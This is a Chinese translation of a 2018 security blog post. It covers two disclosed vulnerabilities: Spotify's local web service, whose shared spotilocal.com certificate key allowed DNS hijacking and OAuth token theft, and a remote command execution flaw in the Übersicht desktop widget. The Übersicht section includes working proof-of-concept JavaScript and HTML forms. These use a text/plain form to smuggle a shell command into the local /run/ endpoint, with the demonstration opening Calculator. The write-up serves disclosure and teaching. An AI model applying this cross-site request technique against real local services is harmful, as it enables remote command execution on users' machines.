Übersicht的遠程命令執行漏洞和能接管Spotify的漏洞--關於本地web服務的安全

翻譯自:https://medium.com/@Zemnmez/übersicht-remote-code-execution-spotify-takeover-a5f6fd6809d0
翻譯:聶心明

  1. 所有的Spotify音樂軟件,所有的舞蹈音樂軟件後門
  2. Übersicht的遠程命令執行漏洞
  3. 總結

無論何時提到安全,我都希望有機會去討論關於應用安全的建設:網絡的邊界是非常有用的,但是在2018年發生了一些事情,這些事情對如何設計app產生了很嚴重的影響。

這場不幸事件的主角是übersicht,一個與Windows的 Rainmeter類似的MacOS上的小部件(所有人都記得2007年電腦桌面上放的那些東西吧?)
Übersicht就像其他的應用一樣,本質上都是一個web瀏覽器還有一個運行在特殊權限上的web app。其中一個特殊的權限就是在你的電腦上運行指令。webapp的小部件啓動的本地網站只能允許本地用戶訪問。抱歉,這篇文章的主題應該是Spotify,所以我現在開始討論它。

Spotify的所有音樂軟件,所有的音樂舞蹈軟件都被植入後門

這看起來是一個十分普通的應用,像übersicht運行的web服務程序只有本地的system權限的程序可以訪問–Spotify,Steam還有其他的一個程序。

通常情況下,這些web服務器提供的網站提供web服務無法訪問的功能。Spotify,運行在本地的服務器允許像推特這樣的網站把他們的小部件嵌入其中,當你點擊播放音樂的按鈕時,就會發送一個消息給你的電腦。這很古怪,對吧?甚至當你關閉播放的標籤頁時,音樂還會播放。

讓我們快速解刨這個程序,看看它是怎麼工作的吧。讓我們來證明一個有趣的概念吧,讓我們回到2016年八月,如果你不打開Spotify,你就無法關閉搖滾樂。

現在我們有了一個黑色背景的按鈕,如果你點擊它,它會讓你的Spotify賬戶播放Rick Astley類型的音樂,只要是被支持的設備,都會播放音樂(甚至是同一局域網下的攻擊者也可以辦到這一切)。
現在已經修復了

想想這是什麼?當你把鼠標移到這個表情上時,它會顯示‘play’

如果我在我僞造的頁面上插入這個元素,那麼馬上就會暴露。那麼我就嵌一個框架進去,並把這個框架的不透明度設置成0.05,這樣的話,就只有我們能看到它了。讓我們來試試

好了,我看到這個播放的按鈕了,但是,其他的東西在哪裏?我們再來一次吧。我很聰明的使用了標籤元素,然後把邊緣剪切一下,同時嵌入Spotify player播放器。讓我們把這些再反轉一下。

好了,現在我們得到了這個頁面,透過屏幕我們都能感受到這個男人陰鬱的情緒。但是真正的問題來了,我們要如何才能給Spotify發送命令?

我很樂意像你展示它是怎樣工作的,但是這個軟件已經修復了這個漏洞,所以你只能聽我說了。這個播放器會帶着認證token給spotilocal.com會發送一個神祕請求,這個請求會說:”請給我播放Rick Astley“,Spotilocal.com 現在已經不存在了,但是請注意2014年的這篇文章 https://medium.com/@bengreenier/hijacking-spotify-web-control-5014b0a1a360 它實際上會被指向127.0.0.1,這個ip地址會回覆”誰在問“

但是作爲一個安全工程師我會想到一些額外的事情,如果Twitter.com給spotilocal.com發送一段請求而不會觸發mixed-content 警告,這就意味着我和spotilocal.com之間的連接必須是被加密的。但是,這是怎樣做到的?一段從從自己到自己的加密傳輸?叫我Alice,牽起我的手,來讓我們跳進這個兔子洞去。

你準備好了嗎?深呼吸。每一個網站通過密鑰來加密數據。僅僅spotify.com知道spotify的密鑰,所以僅僅spotify.com 能夠加密數據。明白了嗎?Spotify

難以置信的是它們在安全上耍了一個小花招,Spotify實際上給每一個單獨的用戶都分配了所有的密鑰,這些密鑰允許他們證明自己是spotilocal.com。我是怎麼知道這個事情的?我逆向了Spotify程序,後面我將會提到,我將會給Spotify安全團隊一個惡作劇–已經發布在推特上了!


把域名下私鑰給每一個人,這很愚蠢嗎?我想是的,我仔細想了想,然後我把這問題報給了Spotify.com的安全團隊。過了很久以後,我才把這個證書放在網上。
我把曾經告訴Spotify安全團隊的事情現在告訴你們,親愛的讀者朋友:DNS是不可信的。

首先,爲什麼我們會有證書呢?很大一部分原因是dns是未加密的。正確的Spotify dns服務器會拼命告訴你spotilocal.com是127.0.0.1,而中間人則會告訴你spotilocal.com是其他的地址。只要你訪問到了這個網站,這個網站可能會竊取你的信用卡信息和身份信息。

這個事情其實每時每刻都在發生,並且在你身上也發生過。當你在有網的咖啡店,或者星巴克,或者坐飛機去舊金山或者無論你做什麼,只要你連接上WiFi,它們就會劫持你的dns,並且告訴你的電腦,你無論訪問什麼網站都要先去訪問它們的WiFi登錄頁面。Captive Portal是一種可怕的黑色咒語。

”爲什麼這不是一個巨大的問題?“,我一直苦苦思考這個問題,甚至整晚整晚睡不好。這可能有兩個原因。如果網站的傳輸數據被加密,即使你發送請求之後的返回報文是來自google.com的,你也無法驗證這個返回報文是不是真的來自於google.com

這個問題被 HSTS所解決,這基本意味着,當你加載google.com的時候,它會說:”好的,我在這裏,我是谷歌,不要讓任何不安全的連接假扮成我,你聽見了嗎?“

如果你不是一個安全怪胎,那我就在你的腦中放入更多的安全思維吧:每一個人都會成爲一個”免費的星巴克WiFi“。不用控制任何東西。當你的手機或者電腦連接過星巴克的時,如果你斷開了連接,那麼這些設備就會自動的尋找‘Free Starbucks Wi-Fi’的WiFi。

所以,讓我假設一個場景,我帶着無線安全工具WiFi Pineapple® 在星巴克裏面坐一天。我會告訴星巴克裏面的所有人,我就是星巴克的WiFi,請連接我,我覺得他們不會很聰明。然後我就可以看到未加密的流量數據了。

從上面的步驟來看,我可以用這種的方式去接管在星巴克喝咖啡人Facebook賬戶,並且其他人也會支持 Firesheep 軟件的概念,通過讓人們不斷的意識到未加密的網絡連接簡直是垃圾,就可以改變世界。

在2018年,不再有那麼多的網絡連接是未加密的了,我沒有找到很充足的數據來說明這一點,但是想想這個,大多數人使用的google, facebook, apple, twitter, instagram, snapchat。全互聯網上幾乎百分之一的用戶在用着最好的通信加密方式。我沒有統計這些,但你只能相信我。
不要懷疑啦,我們有一些數據的:

總之,我沒有得到我真正想要的東西。無論DEFCON的觀衆怎麼想,沒有人會任性到用能繞過所有安全設備且價值上百萬的0day去攻擊你。我知道我想參加下一屆的DEFCON,但是請考慮一下那些年輕的孩子們。

我希望你沒有被我跟蹤,因爲你們是否還記得我還存着spotilocal.com的證書,所以我能看到所有被發出去的信息。’但是spotilocal.com指向的地址是127.0.01,那是我自己的電腦!它不會跑到外網上去!‘,你的聲音像一個不合時宜的小提琴一樣發出嗚咽的聲音,哦親愛的孩子。

當你的電腦考慮要從spotilocal.com加載信息的之前,它會向互聯網發出一個dns請求,去查詢spotilocal.com在哪裏。而我,只要用了WiFi Pineapple,那麼我就可以劫持dns查詢。我們就可以發送任何想發送的數據包,然後我就會發送‘你知道spotilocal.com是誰嗎?是我’

現在我們可以捕捉到每一個路人的流量了,只要它是Spotify的用戶,並且發送數據包給spotilocal.com,我們就可以解碼它們的請求內容,這就意味着我們可以拿到這些人的Spotify OAuth token。現在我不知道Spotify OAuth token能夠訪問什麼東西。這真的是太糟糕了,我不知道,我從來沒有想過這些。但是我知道它可以做一些事情,比如在用戶系統裏面播放音樂

讓我們快速跳到這一步,來討論一下這個密鑰和能用這個密鑰乾點啥。可以用這個token去訪問用戶資源和一些功能,在這裏我們用這個token來用其他人的電腦播放音樂。

一般情況下,當一個公司給用戶產生一個token,這個用戶可以用這個token訪問任何東西,就像Spotify 一樣。因爲,我的意思是,爲什麼Spotify會試圖阻止Spotify訪問一些東西呢?Spotify數據庫中可能會有你的家庭地址,你最喜歡吃的冰激凌。但是不會用這些去證明我拿到了用戶權限。所以,我會讓那個用戶循環播放一首歌。
所以讓我們假設通過獲取到用戶的token,我們不僅僅拿到了用戶賬戶的完整權限,我們還想在Spotify客戶端上播放音樂。我們要怎麼做呢?服務器在其他人的電腦上。

實際上,我已經不需要dns劫持了,我們只要把一個播放按鈕放入到網頁中,然後讓受害者去點擊,受害者點擊之後,就會發送一條請求到本地的控制服務器中。我們甚至不需要Spotify,因爲網站之間的授權已經被搞定了,我就可以用互聯網來做這樣的事情了(有幾個技術問題和複雜的告警需要解決)

Spotify會怎麼說呢?這是產品本身的設計,它們沒有安全問題。我試圖進一步去解釋,但是他們已經確認這是產品本身的設計,不是什麼漏洞。爲了公平起見,我把spotilocal.com的證書放在了網上。現在這個證書已經被移除了,所以我猜這本身不是產品設計所期望的事情

實際上,還需要處理很多事情,我還要努力說服人們相信整件事的重要性。不僅其他人,包括我的朋友,都覺得這個0day很古怪。

II ⧸ Übersicht遠程命令執行

首先,讓我們知道遠程命令執行是什麼。從具有遠程命令執行漏洞軟件的覆蓋範圍來看,大多數人都不會遇到這樣的問題。RCE就是”遠程命令執行“:這意味着,可能,我們現在就在控制你的電腦。對於桌面軟件來說,這就意味着我可以看到你的瀏覽器訪問記錄,你的遊戲的最高分數,你的密碼,你郵件,你的任何一件東西。我現在控制它了,站在信息安全的角度來說,你,現在屬於我了。在這個例子裏面,我用一個現在很流行的軟件的漏洞來控制你。

無論何時,我在哪裏(我都可以通過Übersicht複製黏貼各種符號)
這是一個非常美麗且非常可愛的小部件,就像一個運行在特殊網頁上的時鐘,這個網頁的代碼是你自定義的。服務器的地址在 127.0.0.1:41416 。這個ip是127.0.0.1(這就意味着,這是我的電腦),端口是41416(這僅用來識別指定的服務)

插一句:無論何時,127.0.0.1就意味着是‘我‘。確實如此,它指的就是’我‘。還有一個是0.0.0.0,這也是意味着’我‘,不同的是,0.0.0.0 是公共版本的你,你的計算機暴露在網絡環境中。如果你的網站綁定在0.0.0.0:80,在網絡上每個人都可能訪問到你的網站。如果網站被綁定在127.0.0.1,那麼就只有你可以訪問到它。

我試圖在另一方面來論證我的觀點,如果你把你的網站綁定在0.0.0.0,你可能會比較緊張,因爲與你處於同一個網絡環境的每個人都可以看到這樣的網站並且可能會向你的服務器發出請求。

當你訪問127.0.0.1:41416這個網站時,你可能會在瀏覽器中看到Übersicht的服務接口。但你第一次這麼做的時候,你會覺得非常奇怪。

我寫過一些桌面過度程序,我來探索一個簡單的例子,它們在這個文件裏面,就像這樣:

import run from './runShellCommand';
import request from 'superagent';
import styled, {css} from 'react-emotion';
export {run, request, css, styled};

還記得我剛纔說的’運行shell命令‘嗎?我能在我的電腦上通過運行shell命令來升級我的小組件嗎?可以的
等等,我們能用runShellCommand做什麼呢?事實證明,並非如此,下面是Übersicht服務器端代碼:

const post = require('superagent').post;

function wrapError(err, res) {
  return err
    ? new Error((res || {}).text || 'error running command')
    : null
    ;
}

module.exports = function runShellCommand(command, callback) {
  const request = post('/run/').send(command);
  return callback
    ? request.end((err, res) => callback(wrapError(err, res), (res || {}).text))
    : request
      .catch(err => { throw wrapError(err, err.response); })
      .then(res => res.text)
    ;
};

所以,我們只要請求 https://127.0.0.1:41416/run ,並且發送我們想要做任何指令就可以了嗎?我們已經知道這一點,但是任何人都能向127.0.0.1發送請求嗎?
可以,只要用一點點小的黑客技術,一些JavaScript代碼,poc代碼是這樣的:

const [form, input] = ["form", "input"].map(document.createElement.bind(document));
Object.entries({
  method: "POST",
  action: "http://127.0.0.1:41416/run/",
  enctype: "text/plain"
}).forEach(([key, value]) => form.setAttribute(key, value))
Object.entries({
  value: "nope",
  name: "open /Applications/Calculator.app #"
}).forEach(([key, value]) => input.setAttribute(key, value))
document.body.appendChild(form).appendChild(input);
form.submit();

首先,我很抱歉的是我用的是ES6 JavaScript,這對於JavaScript程序員來說就像用老式英語跟英國人說話一樣

我做了一個簡單的html表單,代碼就像下面這樣,這應該很容易去理解

<form method="POST" action="http://127.0.0.1:41416/run/" enctype="text/plain">
   <input value="nope" name="open/Applications/Calculator.app#">
</form>

你看到這些的時候就會想到’哇,真的就可以用這麼簡單的代碼搞定Übersicht’?對的,記得嗎?我提到這個網站,這個網站可以通過“幾個極其技術性和複雜性的警告”向對方發出請求。這是這些警告的產物

如果你能接受,喝一杯茶,我們繼續講這樣的技術

網頁能發送請求而不用經過你的同意,這是古老技術的產物。這種技術會一直流傳下去

一個web(HTTP)請求是一個非常簡單的東西。兩個人可以用http請求的方式進行通信,因爲HTTP請求發送的其實就是文本數據。

我們只關注’<‘或者’>'之後的內容就可以了,這些是發送或者接受到的內容

$ curl -sv 'http://oh.no.ms' | head
> GET / HTTP/1.1
> Host: oh.no.ms
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< x-amz-id-2: [scrubbed]
< x-amz-request-id: [scrubbed]
< Date: Sat, 15 Dec 2018 21:37:53 GMT
< Last-Modified: Thu, 11 Aug 2016 22:37:02 GMT
< ETag: "d8c9ff35acce7d64ff9b6bf9af1faef2"
< Content-Type: text/html
< Content-Length: 1618
< Server: AmazonS3
<
{ [1618 bytes data]
* Connection #0 to host oh.no.ms left intact
<!DOCTYPE HTML>

第一行的內容是是告訴我們‘通過HTTP 1.1給我們一個資源/’。在前面我們看到了‘/run’ ,‘/’會被重定向到‘/run’。我們通過調用‘header’指令來把數據進行格式化,這樣我們就可以很方便的尋找到其中有用的信息了。上面的請求還說,我們請求的網站是‘oh.no.ms’,我們可以用’瀏覽器’發送cURL,之後我們接收到返回數據。

然後web服務器說’ok‘。我有這個,這是格式化好的數據還有最終的返回報文數據。請注意這一點。我們提到了三個部分:請求(頭),返回(頭),還有返回體(任何東西)

請求報文也會有請求體。實際上,我們像Übersicht發送POST請求時,我們就會有請求體,像這樣:

curl 'http://oh.no.ms' -vvs -X POST -d 'param1=cool beans&param2=cooler beans' | h
ead
* Rebuilt URL to: http://oh.no.ms/
*   Trying 52.218.80.156...
* TCP_NODELAY set
* Connected to oh.no.ms (52.218.80.156) port 80 (#0)
> POST / HTTP/1.1
> Host: oh.no.ms
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 37
> Content-Type: application/x-www-form-urlencoded
>
> param1=cool%20beans&param2=cooler%20beans
< HTTP/1.1 405 Method Not Allowed
< x-amz-request-id: [scrubbed]
< x-amz-id-2: [scrubbed]
< Allow: GET, HEAD, OPTIONS
< Content-Type: text/html; charset=utf-8
< Content-Length: 422
< Date: Sat, 15 Dec 2018 21:46:55 GMT
< Server: AmazonS3
<

我通過post發送了兩個參數,參數’param1‘的值是‘cool beans’,參數‘param2’的值是 ‘cooler beans’。我們告訴服務器我有請求內容。它的長度是37(字節/ASCII字符),請求體的發送格式是‘application/x-www-form-urlencoded’,這就表明我們的請求體參數是經過url編碼之後的數據,例如%20就是空格。

這是一種類型,你可以通過HTML表單的方式去發送這樣老式請求,例如可以用下面的代碼

<form action="http://oh.no.ms" method="POST">
 <input name="param1" value="cool beans">
 <input name="param2" value="cooler beans">
</form>

任何網頁都可以發送這樣的老式請求,當你用JavaScript代碼發送請求時,它會被帶上額外的保護和能力。其中一個是自定義請求體,這個可以是任何數據。在這個例子中,Übersicht就會用到這樣的代碼。命令是通過http請求體來發送的。

html表單很難去構造這樣的數據包,因爲html格式總是通過標準格式發送數據。讓我們嘗試一下,例如:

<form action="http://127.0.0.1:41416" method="POST">
 <input name="run" value="open /Applications/Calculator.app">
</form>

http請求體就像下面這樣:

當你發送這樣的時候,Übersicht不會有任何反應,因爲沒有程序會調用‘run=open+%2FApplications%2FCalculator.app’,我們需要其他的方式:

<form method="POST" action="http://127.0.0.1:41416/run/" enctype="text/plain">
   <input name="open /Applications/Calculator.app #" value="nope">
</form>

首先,我們指定enctype="text/plain",這表明,我們不希望用url編碼,其次,我們把要執行的命令作爲‘name’,並以‘#’ 作爲結尾。在shell中, ‘#’ 是註釋的意思,之後的東西都會被忽略。所以我們發送open /Applications/Calculator.app #=nope

太棒啦,這是有效的shell指令,它打開了計算器

我的意思是,很明顯,如果這不是一個poc,我會運行其他的代碼

III 總結

幾個月之前Übersicht就已經修復這個問題了。怎麼修復的?就是驗證了請求的來源。這種修復方式這是奇怪。添加這個目的是避免瀏覽器和本地程序產生數據交換,我們要測試多種方式,並告訴他們這樣是不行的。

在傳統觀念中,我們認爲防火牆可以有效的把我們分隔開來,阻止其他人來訪問自己。2018年了,這並不是一個孤例。你可能在家用防火牆後面,你的計算機裏面也有防火牆,並且你只暴露自己的本地服務,我還有有可能通過遠程的方式把你攻陷的。

事實就是如此,每一個web客戶端已經成爲一個完整的網絡工具了,它可以發送各種請求。想想那些小的科技公司,它們可能有一個辦公區,員工需要通過登錄特定的WiFi去訪問特定的服務,例如:payroll,數據庫或者其他的系統。

如果你發送一個惡意的網址,或者僅僅構造惡意的請求表單內容,然後發給一個員工,我的web app已被限制訪問(包含‘特殊複雜的警告’),目的是爲了向所有這些服務發出請求,不僅如此,如果用戶的會話保存在cookie中,我就能以這個用戶的身份來發出請求。我就會變成他。

但是現在沒有這樣的限制!聽到這些你會害怕沒有網絡限制的web服務。我能發送請求給任何服務,用任何協議,並且只要不阻塞我發送的http請求,我能執行任何命令。

在2018年,應用安全會變的越來越重要。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章